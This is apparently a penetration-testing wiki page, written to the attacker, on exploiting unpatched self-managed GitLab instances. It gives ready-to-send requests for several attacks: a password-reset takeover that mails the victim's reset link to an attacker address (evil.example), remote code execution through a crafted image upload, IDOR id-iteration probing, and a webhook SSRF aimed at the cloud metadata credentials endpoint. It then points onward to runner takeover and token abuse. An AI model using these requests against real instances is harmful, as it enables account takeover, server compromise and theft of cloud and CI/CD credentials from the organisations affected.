Self-managed GitLab runs the same codebase as gitlab.com but on a version the operator chose and may not have patched, so published weaknesses stay live on instances behind the fix. These are version-gated: confirm the instance version first (GET /api/v4/version, or the footer//help page), then match it to the mechanism. This page names mechanisms and affected endpoints rather than identifiers; each applies to self-hosted instances at the vulnerable release.
Fingerprint the version#
curl -s https://<instance>/api/v4/version -H "PRIVATE-TOKEN: $TOKEN"
# {"version":"16.x.y","revision":"..."} -- map this to the mechanisms below
curl -s https://<instance>/help | grep -iE 'GitLab (Enterprise|Community) Edition'
Password-reset account takeover (reset email to an attacker address)#
A reset-request handler on a vulnerable release accepted multiple email addresses in the reset form and sent the reset link to all of them, so submitting the victim's address alongside an address you control delivered the victim's reset token to your inbox. The flow:
POST /users/password HTTP/1.1
Host: <instance>
Content-Type: application/x-www-form-urlencoded
user[email][]=victim@corp.example&user[email][]=attacker@evil.example
Interpreting it: the array form (user[email][]) submits two recipients. On the vulnerable version the reset mail with the one-time link is sent to both, so you receive the victim's link, set a new password, and own the account. If the victim is an instance admin, this is full admin. Against a patched instance the extra address is rejected or the mail goes only to the registered address, and no link arrives.
Image-upload remote code execution (parser running as the git user)#
GitLab processes uploaded images server-side; on vulnerable releases the processing path reached an image/metadata parser (the ExifTool class of parser) that could be driven to command execution by a crafted file, and the process runs as the git service user. The trigger is an ordinary upload to an endpoint that parses the image, for example the comment/issue attachment upload:
# A crafted image whose metadata carries the parser payload (built with the known PoC generator)
curl -s -X POST "https://<instance>/<group>/<project>/uploads" \
-H "PRIVATE-TOKEN: $TOKEN" \
-F "file=@payload.jpg"
Interpreting it: the upload itself is benign-looking; execution happens when the server parses the file's metadata. A callback to your listener (or a written file) as the git user confirms it. From git you reach the Rails console, the secrets file, and the runner registration tokens, which is why this chains into the next section.
IDOR and SSRF classes in the API and GraphQL#
Two recurring bug classes on the API surface:
- IDOR: object endpoints that authorize the action but not the specific object id let a low-privileged token read or change another project's or user's resource by changing the numeric id. Probe by iterating ids on endpoints like
/api/v4/projects/<id>/...or GraphQL node lookups and watching for200where a403/404is expected. - SSRF: features that fetch a URL server-side (project import by URL, webhook test delivery, repository mirroring, integrations) can be pointed at internal addresses and the cloud metadata service. On a self-managed instance in a cloud VPC this reaches
http://169.254.169.254/for instance credentials.
# SSRF via webhook test: point a hook at the metadata service and trigger a test delivery
curl -s -X POST "https://<instance>/api/v4/projects/<id>/hooks" \
-H "PRIVATE-TOKEN: $TOKEN" \
-d "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/&push_events=true"
A test delivery that returns metadata body content (or whose response timing/length differs for internal vs external targets) confirms the fetch happens server-side. Newer releases enforce an allowlist and block link-local ranges, so this is version- and configuration-gated.
Follow-on#
Admin, whether from reset takeover or upload RCE, unlocks the instance's runner registration tokens and CI/CD secrets, so from here go to runner takeover. Admin also lets you mint tokens and impersonate users via the API (see token abuse).
Tools#
- A crafted-image generator matching the target parser version for the upload path.
- Burp Suite / ffuf to iterate object ids for the IDOR probing.
- A request collector for SSRF and RCE callbacks.